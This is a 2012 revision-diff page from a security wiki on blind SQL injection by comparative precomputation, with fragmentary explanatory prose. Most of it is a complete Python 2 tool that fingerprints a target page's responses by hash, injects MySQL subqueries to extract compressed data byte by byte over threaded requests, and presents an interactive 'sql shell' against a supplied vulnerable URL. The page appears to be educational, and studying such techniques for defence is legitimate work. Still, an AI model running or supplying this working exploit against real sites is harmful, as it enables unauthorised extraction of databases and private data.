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Difference between revisions of "SQL injection/Blind/Extraction/Precomputation"
From NetSec
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==The comparative precomputation attack== | ==The comparative precomputation attack== | ||
− | '''This attack relies heavily on the | + | '''This attack relies heavily on the ''remote dataset'' for successful exploitation and is thus its rate of data retrieval is more variable than other methods. This significantly differs from previously discovered <u>[[#Expert:_Automated_Single-byte_exfiltration|single-request data exfiltration techniques]]</u> because:'''{{code|text= |
− | * | + | |
− | * | + | * ''It is not a timing attack'' |
+ | * ''It is not limited to the value of a single byte'' | ||
+ | |||
}}{{code|text= | }}{{code|text= | ||
'''Requirements:''' | '''Requirements:''' | ||
− | * <u> | + | * <u>In order for it to be effectively faster than boolean enumeration, the contents of the query context (column and table) must contain 3 or more instances of unique column data</u> |
* <u>The precomputation attack is compatible with all database backends.</u> | * <u>The precomputation attack is compatible with all database backends.</u> | ||
}} '''Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.'''{{code|text= | }} '''Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.'''{{code|text= |
Revision as of 06:09, 15 November 2012
The comparative precomputation attack
This attack relies heavily on the remote dataset for successful exploitation and is thus its rate of data retrieval is more variable than other methods. This significantly differs from previously discovered single-request data exfiltration techniques because:
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Requirements:
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/articles.php?id=1
/articles.php?id=255 Follow the next steps for automation (and sanity's) sake:
Almost done!
And the value of a byte has been determined. Protip: This attack can be extended by:
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#!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m' def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read() def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery) def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection) def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1 length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1 return (int(length), counter) def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()])) def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest()) def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush() def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = "" if type_query == 0: i = 0 else: i = 1 sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time() while i < length: threads = {} queues = [] for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time) for thread in threads: threads[thread].start() for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join() sys.stdout.write('\n') sys.stdout.flush() if type_query == 0: return ascii_table else: return (counter, query_result) def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2] print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter) (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close() print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) print "%s[*]%s Good bye" % (GREEN, ENDC) if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit() print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3]) |